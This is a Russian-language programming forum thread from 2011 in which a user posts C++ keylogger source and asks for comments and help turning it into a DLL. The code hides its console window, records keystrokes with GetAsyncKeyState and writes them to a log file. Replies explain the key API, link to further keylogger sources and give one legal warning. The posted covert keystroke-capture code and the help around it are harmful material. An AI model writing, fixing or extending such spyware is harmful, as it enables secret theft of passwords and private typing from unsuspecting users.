Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 06.01.2011, 14:35   #1
dimitryK
Новичок
Джуниор
 
Регистрация: 06.01.2011
Сообщений: 6
Вопрос Dev-C++. простой кейлогер

Хочу написать простой кейлогер. исколючительно под консоль. Этот пример нашел в сети. но без коментариев. Может кто подскажет как написать DLL -ку. + саму прогу хотяб для инглишь клавишь. Ну если этот пример хорошо, то хотяб коменты к нему.
Код:
#include <iostream>
#include "windows.h"
#include <fstream>
#include <String>
using namespace std;
int main()
{
ofstream File; //созд. ф-л
File.open("log.txt");//отк. и обозначить
FreeConsole();// сделать не видимой
string log = ""; // строков. переменные
string letter = "";
int num = 0;

while(1)// включенный цикл
{
  for(num=32; num<=90;num++)// чаво 32? 
  {
    switch(num)
   {
    case 65: letter = "a"; break;
    case 66: letter = "b"; break;
    case 67: letter = "c"; break;
    case 68: letter = "d"; break;
    case 69: letter = "e"; break;
    case 70: letter = "f"; break;
    case 71: letter = "g"; break;
    case 72: letter = "h"; break;
    case 73: letter = "i"; break;
    case 74: letter = "j"; break;
    case 75: letter = "k"; break;
    case 76: letter = "l"; break;
    case 77: letter = "m"; break;
    case 78: letter = "n"; break;
    case 79: letter = "o"; break;
    case 80: letter = "p"; break;
    case 81: letter = "q"; break;
    case 82: letter = "r"; break;
    case 83: letter = "s"; break;
    case 84: letter = "t"; break;
    case 85: letter = "u"; break;
    case 86: letter = "v"; break;
    case 87: letter = "w"; break;
    case 88: letter = "x"; break;
    case 89: letter = "y"; break;
    case 90: letter = "z"; break;
    case 32: letter = " "; break;
}
if(GetAsyncKeyState(num))//уточнить что делает функция 
{
log+=letter;
Sleep(200);
}
if(GetAsyncKeyState(27))
{
File << log;
File.close();
return 0;

}
}
}
}
// прога по идее доложна работать ну не работает. компилируется. ну не записывает в файл. Спс

Последний раз редактировалось Stilet; 06.01.2011 в 15:48.
dimitryK вне форума Ответить с цитированием
Старый 06.01.2011, 15:06   #2
pacniwassano
Пользователь
 
Регистрация: 02.12.2010
Сообщений: 81
По умолчанию

учимся читать документацию
мне кажется, что создание такой dll противоречит российскому законодательству и попадает под уголовную ответственность так что думай сам
pacniwassano вне форума Ответить с цитированием
Старый 06.01.2011, 17:48   #3
dimitryK
Новичок
Джуниор
 
Регистрация: 06.01.2011
Сообщений: 6
По умолчанию

Цитата:
Сообщение от pacniwassano Посмотреть сообщение
учимся читать документацию
мне кажется, что создание такой dll противоречит российскому законодательству и попадает под уголовную ответственность так что думай сам
обхохочешься. Надо же мне кнопки запрогить!Да прога на столько "рульная" что точно под статьей ходить! В конце концов я хочу научится или не )(последнее не вопрос, а бы не спровоцировать шквал последущих...)
dimitryK вне форума Ответить с цитированием
Старый 06.01.2011, 18:49   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
Надо же мне кнопки запрогить!
А причем тут кнопки?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 06.01.2011, 19:12   #5
ololo-schoolboy
Форумчанин
 
Регистрация: 25.12.2010
Сообщений: 247
По умолчанию

вот это switch О_о на хакер ру взял ?
Код:
if(GetAsyncKeyState(num))
если была нажата клавиша с кодом num
Цитата:
Может кто подскажет как написать DLL -ку
создай файл с расширением h и откомпилируй
ololo-schoolboy вне форума Ответить с цитированием
Старый 06.01.2011, 22:17   #6
dimitryK
Новичок
Джуниор
 
Регистрация: 06.01.2011
Сообщений: 6
По умолчанию

ууу спс будум пробовать )
Не взята с ютюбе)
dimitryK вне форума Ответить с цитированием
Старый 06.01.2011, 22:54   #7
kaljan775
:D
Форумчанин
 
Аватар для kaljan775
 
Регистрация: 26.09.2010
Сообщений: 570
По умолчанию

с чего бы эта прога подпадает под уголовный кодекс, поясните незнающему
Пишу ПО, создаю сайты, делаю курсовые работы, за деньги
C#, .NET, MS SQL, AngularJS, HTML, jQuery
kaljan775 вне форума Ответить с цитированием
Старый 07.01.2011, 00:06   #8
dimitryK
Новичок
Джуниор
 
Регистрация: 06.01.2011
Сообщений: 6
По умолчанию

Цитата:
Сообщение от kaljan775 Посмотреть сообщение
с чего бы эта прога подпадает под уголовный кодекс, поясните незнающему
Могли бы не флудить! или ниже этажами. (у меня склероз. это для частного использования)
dimitryK вне форума Ответить с цитированием
Старый 07.01.2011, 17:08   #9
interfeys
Пользователь
 
Регистрация: 31.12.2010
Сообщений: 29
По умолчанию

какая разница куда она попадает , человек хочет познавать с++
_http://www.cyberguru.ru/cpp-sources/applications/klaviaturnyj-shpion.html
_http://www.cyberguru.ru/cpp-sources/applications/keylogger-na-visual-c.html

вот это попробуй , написано на visual c++ но на дев должно покатить
хотя на дев тоже свои правила
немного отличается
interfeys вне форума Ответить с цитированием
Старый 08.01.2011, 13:34   #10
dimitryK
Новичок
Джуниор
 
Регистрация: 06.01.2011
Сообщений: 6
По умолчанию

Cпс! глянем) Эту тему моно Close())
dimitryK вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Dev-C++ ai\ekcah^p Общие вопросы C/C++ 3 06.01.2011 15:00
Проблемы с Dev-C++ vertraut Общие вопросы C/C++ 2 13.05.2010 03:13
Dev-C++4.9.8.0 elenSV Помощь студентам 12 22.07.2009 19:20